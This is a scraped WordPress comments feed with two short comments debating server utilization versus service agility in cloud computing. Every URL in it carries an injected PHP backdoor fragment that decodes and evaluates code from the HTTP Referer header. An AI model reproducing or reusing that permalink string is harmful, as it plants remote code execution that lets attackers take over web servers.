Comments on: The Elephant in the Computer Room http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ [*The study of efficient and transparent delivery of elastic IT-based services and applications] Fri, 10 Sep 2010 17:42:24 +0000 http://wordpress.org/?v=2.6.2 By: Steve O. http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-11 Steve O. Tue, 31 Mar 2009 15:14:29 +0000 http://steveoberlin.com/cloudology/?p=69#comment-11 Thanks, Cloudwatcher, for the comments. I can't dismiss "average server utilization" as a valid metric, but do think we agree that mindless pursuit of increased utilization alone could foolishly sacrifice service levels, which are way more important as they directly support the operation of the enterprise, while increasing utilization just saves some money. I couldn't agree more with you that dynamic scaling of services -- "agility" -- is what really matters. Increased agility increases business competitiveness and can help grow the top line -- again, way more important than merely reducing the IT budget. Thanks, Cloudwatcher, for the comments. I can’t dismiss “average server utilization” as a valid metric, but do think we agree that mindless pursuit of increased utilization alone could foolishly sacrifice service levels, which are way more important as they directly support the operation of the enterprise, while increasing utilization just saves some money.

I couldn’t agree more with you that dynamic scaling of services — “agility” — is what really matters. Increased agility increases business competitiveness and can help grow the top line — again, way more important than merely reducing the IT budget.

]]> By: Cloudwatcher http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-10 Cloudwatcher Mon, 30 Mar 2009 19:35:27 +0000 http://steveoberlin.com/cloudology/?p=69#comment-10 It's my guess that improved "average server utilization rates" are not a measurement worth pursuing -- ever! I know this is heresy in the cloud but you are dead right: it's the service not the server that matters. What really matters is how fast an enterprise can add servers to - or release them from a service/application. (Has anyone thought to popularize such a measurement?) This sort of dynamic provisioning will invariably cause server utilzation rates to rise. More importantly the current availabiltiy threshold of the service will not only be protected but it should be vastly improved. I'm not sure how focusing on server utilization as an end goal will lead to anything but false positives while jeopardizing a service's availability. It’s my guess that improved “average server utilization rates” are not a measurement worth pursuing — ever! I know this is heresy in the cloud but you are dead right: it’s the service not the server that matters.

What really matters is how fast an enterprise can add servers to - or release them from a service/application. (Has anyone thought to popularize such a measurement?) This sort of dynamic provisioning will invariably cause server utilzation rates to rise. More importantly the current availabiltiy threshold of the service will not only be protected but it should be vastly improved.

I’m not sure how focusing on server utilization as an end goal will lead to anything but false positives while jeopardizing a service’s availability.

]]>